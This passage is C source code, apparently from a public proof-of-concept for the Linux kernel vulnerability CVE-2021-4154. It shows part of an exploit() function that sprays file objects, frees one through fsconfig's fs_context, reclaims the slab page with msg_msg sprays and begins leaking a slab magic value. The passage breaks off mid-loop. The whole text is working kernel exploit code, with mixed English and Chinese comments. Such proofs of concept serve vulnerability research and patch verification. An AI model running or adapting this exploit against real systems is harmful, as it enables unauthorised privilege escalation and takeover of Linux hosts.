Function exploit

CVE-2021-4154/exploit/exploit-ROP.c:286–542

}

static void exploit() {
  char data[0x2000] = {};
  struct msg *m = (struct msg*)data;
  m->mtype = 1;
  pin_on_cpu(3);          // ??????????????????????????????
// 1. leak magic value
// 1-1. prepare uaf context
  setup_uaf();

// 1-2. spray 10000 files, uaf file in the middle
  printf("[*] 1-2 spraying 10000 files\n");
  // defragment
  for (int i=0; i<MAX_FILE_NUM/2; i++) {
    fds[i] = open("./data", O_RDONLY);
    if (fds[i] < 0) 
      err(1, "open data");
  }
  uaf_fd = open("./data", O_RDONLY);    // slab size for file : 0x1000       0x1000 / 320 = 12 可以放12个pipe_buffer
  for (int i=0; i<MAX_FILE_NUM/2; i++) {
    fds[MAX_FILE_NUM/2+i] = open("./data", O_RDONLY);
    if (fds[MAX_FILE_NUM/2+i] < 0) 
      err(1, "open data 2");
  }
// 1-3. call fsconfig to make fs_context(vul_obj) point to uaf_fd file, ready to free
  set_uaffd();

// 1-4. free 400 files, and free the file slab (return at least one slab page)
  printf("[*] 1-4 free 400 files\n");
  close(uaf_fd); // remove the uaf fd to prevent crash
  for (int i=0; i<1000; i++)   // 释放 uaf_fd 附近的400个 file
    close(fds[MAX_FILE_NUM/2-500+i]);
  // close(fs_fd_1);             // 再次释放 uaf_fd file, 不会出错 ??????????????????
  sleep(1);

// 1-5. spray 800 msg_msg (kmalloc-512) to take up the file slab page        kmalloc-4k -> kmalloc-512
  printf("[*] 1-5 spray 800 msg_msg (kmalloc-512)\n");
  for (int i=0; i<MAX_MSG_SPRAY; i++) {
    memset(m->data, 'A', 0x1800);
    if (msgsnd(msg_ids[i], (void *)m, 0x1000+0x200-48-8, 0) != 0)
      err(1, "msgsnd");
  }
  getchar();

// 1-6. free uaf_fd file through fs_context (indeed, it frees msg)
  printf("[*] 1-6 free the overlapped msg_msg\n");
  close(fs_fd_2);
  sleep(1);
  printf("freed msg\n");
  getchar();
// 1-7. leak the slab magic value
  char leak[0x2000];
  unsigned long slab_rand = 0;
  int msg_id = -1;
  int leak_offset = 0;
  printf("[*] 1-7 leak the magic value\n");
  for (int j=0; j<MAX_MSG_SPRAY; j++) {
    // vsleep(1);
    memset(leak, 0, 0x2000);